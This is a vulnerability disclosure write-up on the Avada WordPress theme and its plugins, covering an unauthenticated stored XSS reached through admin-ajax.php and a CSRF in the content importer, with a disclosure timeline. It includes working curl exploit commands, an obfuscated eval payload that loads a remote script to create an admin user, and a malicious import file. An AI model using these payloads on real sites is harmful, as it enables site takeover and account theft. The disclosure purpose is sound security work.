The Avada theme has the most sales currently on ThemeForest.net with more than 300.000 sales, and they market themselves using the following lines:

"The #1 Selling Theme on the market for 4+ years"
"#1 selling theme of all time"

Being the best-selling WP theme, however, does not make one impervious to security issues. Let's see how Avada fears in terms of security.

An old friend

After looking at wp_ajax_nopriv hooks, and at a first glance, nothing popped out, I decided to look for an old friend -- admin_init, but I actually found him and a buddy of his hanging around at line 943 in the file /wp-content/themes/Avada/includes/class-avada-admin.php : is_admin()

add_action( 'admin_init', array( $this, 'save_permalink_settings' ) );  
[...]

/**
 * Save the permalink settings.
 *
 * @since 3.9.2
 */
public function save_permalink_settings() {

    if ( ! is_admin() ) {
        return;
    }

    if ( isset( $_POST['permalink_structure'] ) || isset( $_POST['category_base'] ) ) {
        // Cat and tag bases.
        $portfolio_category_slug = ( isset( $_POST['avada_portfolio_category_slug'] ) ) ? sanitize_text_field( wp_unslash( $_POST['avada_portfolio_category_slug'] ) ) : '';
        $portfolio_skills_slug   = ( isset( $_POST['avada_portfolio_skills_slug'] ) ) ? sanitize_text_field( wp_unslash( $_POST['avada_portfolio_skills_slug'] ) ) : '';
        $portfolio_tags_slug     = ( isset( $_POST['avada_portfolio_tags_slug'] ) ) ? sanitize_text_field( wp_unslash( $_POST['avada_portfolio_tags_slug'] ) ) : '';

        $permalinks = get_option( 'avada_permalinks' );

        if ( ! $permalinks ) {
            $permalinks = array();
        }

        $permalinks['portfolio_category_base']    = untrailingslashit( $portfolio_category_slug );
        $permalinks['portfolio_skills_base']    = untrailingslashit( $portfolio_skills_slug );
        $permalinks['portfolio_tags_base']        = untrailingslashit( $portfolio_tags_slug );

        update_option( 'avada_permalinks', $permalinks );
    }
}

The save_permalink_settings function first checks that the function is_admin() returns true. If it does, then it goes on and takes some user supplied input from the $_POST array, passes through wp_unslash and sanitize_text_field, then saves in the options under the name avada_permalinks.

The is_admin() is, I believe, one of the most misunderstood functions in WordPress core. This function has nothing to do with capabilities or anything related to access control. As clearly stated in the WP Codex and in the source code:

/**
 * Whether the current request is for an administrative interface page.
 *
 * Does not check if the user is an administrator; current_user_can()
 * for checking roles and capabilities.
 *
 * @since 1.5.1
 *
 * @global WP_Screen $current_screen
 *
 * @return bool True if inside WordPress administration interface, false otherwise.
 */
function is_admin() {  
    if ( isset( $GLOBALS['current_screen'] ) )
        return $GLOBALS['current_screen']->in_admin();
    elseif ( defined( 'WP_ADMIN' ) )
        return WP_ADMIN;

    return false;
}

Ok, so we can "bypass" this check by simply posting to the ajax endpoint: /wp-admin/admin-ajax.php because on the start of the file (admin-ajax.php) after defining DOING_AJAX with a true value the next thing it does is to define WP_ADMIN as true.

Avada tries to clean the user input, but it is not perfect, and we will see in a bit why is that so.

As you might have guessed by now, the save_permalink_settings function sets the slug/permalink part for certain posts and post categories. Great, now let's see where it uses them. It looks like the Avada theme does not use the values stored in the options under the key avada_permalinks, but one of the required plugins which comes with Avada uses them.

/wp-content/plugins/fusion-core/fusion-core.php:215

$permalinks = get_option( 'avada_permalinks' );
[...]
register_taxonomy(  
    'portfolio_category',
    'avada_portfolio',
    array(
        'hierarchical' => true,
        'label'        => esc_attr__( 'Portfolio Categories', 'fusion-core' ),
        'query_var'    => true,
        'rewrite'      => array(
            'slug'       => empty( $permalinks['portfolio_category_base'] ) ? _x( 'portfolio_category', 'slug', 'fusion-core' ) : $permalinks['portfolio_category_base'],
            'with_front' => false,
        ),
    )
);

Stored XSS (sort of)

As we've seen, we can change any of the portfolio_category_base, portfolio_skills_base, portfolio_tags_base slugs, but whit a limitation. These slugs are displayed on the front-end in a safe way, but on the admin area in WordPress 4.7.3 I believe there is a bug, which allows to weaponize this vulnerability into a working stored XSS.

XSS POC

So, we need to post to the ajax endpoint in order to trigger the call to admin_init and pass the is_admin() "check", then we can specify some POST fields and start to play with the issue.

$ curl -X POST 'http://127.0.0.1/wp-admin/admin-ajax.php' --data 'action=fake&permalink_structure=1&avada_portfolio_category_slug=testing'

This will work as we excepted, it will change the slug for the portfolio categories. If we visit the Portfolio Categories page in the admin (http://127.0.0.1/wp-admin/edit-tags.php?taxonomy=portfolio_category&post_type=avada_portfolio), we can see that the slug indeed changed to: 'testing'. Great!

The sanitize_text_field choice is an interesting one. It does the following: Checks for invalid UTF-8, Converts single < characters to entities, Strips all tags, Removes line breaks, tabs, and extra white-space, Strips octets. Ok, that sounds pretty bad in our case, but I can work with that. The output will be in a HTML tag, more specifically the href attribute of an <a> tag. We can end the tag, because the > character is allowed, but it is not possible to start a new one like a <script> one. But we can add new attributes to the existing one, and this will allow us to define custom inline CSS and more importantly, event handlers like: onmouseover, onmousemove, ontouchstart, etc which will execute ECMAScript code in when the event fires.

$ curl -X POST 'http://127.0.0.1/wp-admin/admin-ajax.php' --data 'action=fake&permalink_structure=1&avada_portfolio_category_slug=testing" onmouseover="alert(1337)" data-x="'

This will produce the following html in the Portfolio Categories page:

<a href="http://127.0.0.1/testing**" onmouseover="alert(1337)" data-x="**/slug/" aria-label="View &#8220;Demo&#8221; archive">View</a  

The data-x part is just for cosmetics, it will hide injection because the HTML will not be broken. Now, in the admin area, if we hover our mouse over the View link, an alert will fire.

A little style

We can also inject an inline style attribute, so we can style our <a> tag, as we please. Of course our interest is to present a bigger surface area for our mouse in this case, just to give it ample space to trigger the onmouseover event.

$ curl -X POST 'http://127.0.0.1/wp-admin/admin-ajax.php' --data 'action=fake&permalink_structure=1&avada_portfolio_category_slug=testing" style="position:fixed; top:0px; left:0px; width:9000px; height:1000px; background-color:red;" onmousemove="alert(1337)" data-x="'

Again this will work, as intended. In a real attack, opacity:0 would work just fine ;)

Also a real payload will look something like this:

eval(atob("dmFyIGpzPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpO2pzLnR5cGUgPSAndGV4dC9qYXZhc2NyaXB0Jztqcy5zcmM9J2h0dHBzOi8vY2RuLndwaHV0dGUuY29tL0F2YWRhLzUuMS40L2FkbWluX3N1aWNpZGUuanMnO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoanMpOwo"))  
$ curl http://127.0.0.1/wp-admin/admin-ajax.php  --data 'action=fake&permalink_structure=1&avada_portfolio_category_slug=testing" style="position:fixed; top:0px; left:0px; width:9000px; height:9000px; background-color:red;" onmousemove="eval(atob('\''dmFyIGpzPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpO2pzLnR5cGUgPSAndGV4dC9qYXZhc2NyaXB0Jztqcy5zcmM9J2h0dHBzOi8vY2RuLndwaHV0dGUuY29tL0F2YWRhLzUuMS40L2FkbWluX3N1aWNpZGUuanMnO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoanMpOwo'\''))" data-x="'

Which basically is:

var js=document.createElement('script');  
js.type = 'text/javascript';  
js.src='https://cdn.wphutte.com/Avada/5.1.4/admin_suicide.js';  
document.body.appendChild(js);  

For Avada, I choose a simple Admin create POC, which after it creates a new admin user, resets the avada_portfolio_category_slug like nothing happened, and then reloads the page. The script can be found here: https://cdn.wphutte.com/Avada/5.1.4/admin_suicide.js

HTML XSS POC

Avada 5.1.4 XSS Exploit POC

CSRF

Now that the core plugins came into play, I had a look at them also. Again, after a quick search for wp_ajax I came across the following function :

/**
 * Import Fusion elements/templates
 *
 */
function fusion_builder_importer() {

    if ( isset( $_FILES ) && '' != $_FILES[0] ) {

        $file = $_FILES[0]['tmp_name'];

        if ( current_user_can( 'manage_options' ) ) {

            // we are loading importers
            if ( ! defined( 'WP_LOAD_IMPORTERS' ) ) {
                define( 'WP_LOAD_IMPORTERS', true );
            }

            // if main importer class doesn't exist
            if ( ! class_exists( 'WP_Importer' ) ) {
                $wp_importer = wp_normalize_path( ABSPATH . '/wp-admin/includes/class-wp-importer.php' );
                include $wp_importer;
            }

            if ( ! class_exists( 'WP_Import' ) ) {
                $wp_import = wp_normalize_path( FUSION_BUILDER_PLUGIN_DIR . '/inc/importer/wordpress-importer.php' );
                include $wp_import;
            }

            // check for main import class and wp import class
            if ( class_exists( 'WP_Importer' ) && class_exists( 'WP_Import' ) ) {

                if ( isset ( $file ) && ! empty ( $file ) ) {

                    $importer = new WP_Import();
                    // Import data
                    $importer->fetch_attachments = true;
                    ob_start();
                    $importer->import( $file );
                    ob_end_clean();

                }

                exit;
            }
        }
    }

    die();
}
add_action( 'wp_ajax_fusion_builder_importer', 'fusion_builder_importer' );  

It is located in the '/wp-content/plugins/fusion-builder/inc/importer/importer.php' file. It is a simple WordPress importer which takes an uploaded file and imports it into WordPress. It only checks the capability of the user, it does nothing to ensure that the request is coming from the admin area. Basically, it does not use a WP Nonce. This allows us to import almost any content into WordPress: authors, posts, pages, taxonomies, etc. The attachment part of the import script has a bug, so it will not fetch the attachments, but other than that, pretty much any content can be imported.

It is possible to trigger valid file uploads via JavaScript, so I created a simple HTML POC which exploits this CSRF vulnerability. It imports an XML file with the following structure

<?xml version="1.0" encoding="UTF-8" ?>  
<rss version="2.0"  
    xmlns:excerpt="http://wordpress.org/export/1.2/excerpt/"
    xmlns:content="http://purl.org/rss/1.0/modules/content/"
    xmlns:wfw="http://wellformedweb.org/CommentAPI/"
    xmlns:dc="http://purl.org/dc/elements/1.1/"
    xmlns:wp="http://wordpress.org/export/1.2/"
>

<channel>  
    <title>Avada</title>
    <link>http://google.com</link>
    <description>Just another WordPress site</description>
    <pubDate>Tue, 28 Mar 2017 20:33:48 +0000</pubDate>
    <language>en-US</language>
    <wp:wxr_version>1.2</wp:wxr_version>
    <generator>https://wordpress.org/?v=4.7.3</generator>

    <item>
        <title>Avada 5.1.7 CSRF</title>
        <link>2017/03/28/avada-csrf/</link>
        <pubDate>Tue, 28 Mar 2017 20:30:14 +0000</pubDate>
        <dc:creator><![CDATA[admin]]></dc:creator>
        <guid isPermaLink="false">http://wplocal.local/?p=1377773</guid>
        <description></description>
        <content:encoded><![CDATA[<h1>Greetings from <a href="http://wphutte.com">WpHutte.com</a><script src="https://cdn.wphutte.com/Avada/5.1.4/alert.js">]]></content:encoded>
        <excerpt:encoded><![CDATA[]]></excerpt:encoded>
        <wp:post_id>1</wp:post_id>
        <wp:post_date><![CDATA[2017-03-28 20:30:14]]></wp:post_date>
        <wp:post_date_gmt><![CDATA[2017-03-28 20:30:14]]></wp:post_date_gmt>
        <wp:comment_status><![CDATA[open]]></wp:comment_status>
        <wp:ping_status><![CDATA[open]]></wp:ping_status>
        <wp:post_name><![CDATA[WpHutte]]></wp:post_name>
        <wp:status><![CDATA[publish]]></wp:status>
        <wp:post_parent>0</wp:post_parent>
        <wp:menu_order>0</wp:menu_order>
        <wp:post_type><![CDATA[post]]></wp:post_type>
        <wp:post_password><![CDATA[]]></wp:post_password>
        <wp:is_sticky>0</wp:is_sticky>
        <category domain="category" nicename="uncategorized"><![CDATA[Uncategorized]]></category>
        <wp:postmeta>
            <wp:meta_key><![CDATA[_edit_last]]></wp:meta_key>
            <wp:meta_value><![CDATA[1]]></wp:meta_value>
        </wp:postmeta>

    </item>

</channel>  
</rss>  

So it will create a new post with some demo content and a bit of ECMAScript/JS.

HTML CSRF POC

Avada CSRF -> XSS POC

Impact 8/10

It is the most used theme currently for WordPress, the CSRF part works in every case but it needs user interaction: opening a link, checking out a trackback or comment, etc. The same can be said about the stored XSS part as well. The XSS can be implanted, by an unauthorized attacker, but the site must have to use the portfolio feature, and it must have at least 1 portfolio category, in our case. But it seems it is pretty popular Search <div class="fusion-portfolio-content-wrapper">

Timeline

29 - 03 - 2017 - Vulnerability discovered  
30 - 03 - 2017 - Vendor notified  
04 - 04 - 2017 - Vendor fixed the issues in 5.1.5 (see: http://theme-fusion.com/avada-documentation/changelog.txt)  
25 - 04 - 2017 - Vulnerability goes public. ( 3 days early: 1st May EU)